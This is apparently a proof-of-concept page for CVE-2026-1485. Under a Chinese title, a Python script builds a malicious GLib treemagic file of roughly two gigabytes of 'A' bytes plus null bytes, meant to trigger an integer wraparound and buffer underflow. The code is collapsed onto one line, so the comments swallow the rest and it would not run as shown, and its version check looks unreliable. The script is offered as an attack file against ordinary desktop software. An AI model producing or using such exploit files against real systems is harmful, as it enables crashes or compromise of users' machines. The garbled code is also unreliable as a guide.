CVE-2026-1485: Glib内容类型解析缓冲区下溢漏洞

# CVE-2026-1485 PoC - Glib treemagic Buffer Underflow # This PoC creates a malicious treemagic file that triggers integer wraparound # in Glib's content type parsing logic import os import struct def create_malicious_treemagic(): """ Create a malicious treemagic file to trigger buffer underflow in Glib. The vulnerability occurs when header line length stored in signed integer wraps around for very large inputs. """ # Create a header line that is extremely long to trigger integer overflow # When parsed, the length value will wrap around in signed integer long_header = b'A' * 2147483647 # INT_MAX to trigger wraparound # Treemagic file format treemagic_content = long_header + b'\n' treemagic_content += b'\x00\x00\x00\x00' # Null bytes for parsing # Write the malicious file output_path = '/tmp/malicious.treemagic' with open(output_path, 'wb') as f: f.write(treemagic_content) print(f"[+] Created malicious treemagic file: {output_path}") print(f"[+] File size: {len(treemagic_content)} bytes") print("[*] When processed by vulnerable Glib version, triggers buffer underflow") return output_path def verify_vulnerability(): """ Check if system is vulnerable by examining Glib version. """ import subprocess try: result = subprocess.run(['glib-compile-schemas', '--version'], capture_output=True, text=True) print(f"[*] Glib version: {result.stdout.strip()}") except Exception as e: print(f"[-] Could not determine Glib version: {e}") if __name__ == '__main__': print("[*] CVE-2026-1485 Glib Buffer Underflow PoC") print("[*] Target: GNOME Glib content type parsing") verify_vulnerability() create_malicious_treemagic() print("[+] PoC file created successfully") print("[*] Note: This vulnerability requires local user interaction")